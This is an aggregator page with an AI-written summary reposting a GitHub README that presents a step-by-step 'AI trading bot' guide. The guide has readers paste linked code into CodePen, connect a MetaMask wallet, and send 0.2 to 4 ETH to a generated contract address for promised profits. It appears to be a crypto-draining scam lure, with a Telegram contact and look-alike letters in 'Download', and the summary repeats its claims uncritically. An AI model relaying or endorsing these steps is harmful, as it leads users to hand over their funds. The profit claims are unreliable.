跳到正文
GitHub·· 9 天前AI 评分8

新手开发者 Sam 发布 AI 交易机器人搭建教程:基于 MetaMask 与以太坊

wild-canyonhoxo3344/AI-Trading-Bot-Codepen

AI 导读

区块链新手开发者 Sam 发布了一份 AI 交易机器人分步搭建教程,用户通过 MetaMask 钱包连接后可在以太坊上部署自己的交易合约。教程要求最低入金 0.2 ETH,建议投入 1-4 ETH 以获得更多交易处理能力,合约确认后机器人即时开始交易并显示完整日志,点击 "Withdraw Profits" 可连本带利提回钱包。

正文

Step-by-Step Guide AI Trading Bot

hf-20260126-164017-2db01405-daa1-40e6-aa99-4e29072771f1

Hi everyone! I'm Sam, a beginner blockchain developer.

I’ve just created my own bot and I’m excited to share my work with you!

So far, the bot is running successfully.

All suggestions, feedback, and ideas are very welcome — feel free to write me in Telegram!

Step-by-Step Guide

🔗 My Telegram: https://t.me/Jckb9

🔗 Open Source Bot Code [Click Here]

▶️ Watch on YouTube

🟢 Step 1: Download the MetaMask Extension

🔗 -Dоwnlоаd МetаМаsk: https://metamask.io/download

🔗 -Dоwnlоаd Phantom: https://phantom.com/

🟢 Step 2: CODE EDITOR

🔗 https://codepen.io

🟢 Step 3:

Once the site has loaded click on the "Start Coding" button on the left side.

🟢 Step 4: Paste the following code into the HTML box:

🔗 Open Source Bot Code [Click Here]

🟢 Step 5:

Connect your wallet once the interface loads.

bnr

🟢 Step 6:

Scroll down and click the "Deploy Trading Contract" button. This will deploy your very own trading contract infrastructure on the Ethereum blockchain that is controlled by your connected wallet.

⚠️ Tip: If you get any issues - use a clean Firefox browser and only one Metamask extension

🟢 Step 7:

Add funds to your bot by putting the desired amount in the text box and then click "Generate Contract Address" to generate your own personal contract address.

The minimum amount is 0.2 ETH. But I recommend to use 1-4, so that the bot can process more transactions, in this case the profits will be much better.

Click the "Copy Address" button then go to your web3 wallet and send the exact amount you specified in the amount box to your contract address.

🟢 Step 8:

Once the transaction is confirmed, the bot will being trading instantly showing a full detailed log of everything it does.

When you want to withdraw, simply click the "Withdraw Profits" button and it will return all profit including your funding back to your wallet.

来源:GitHub · github.com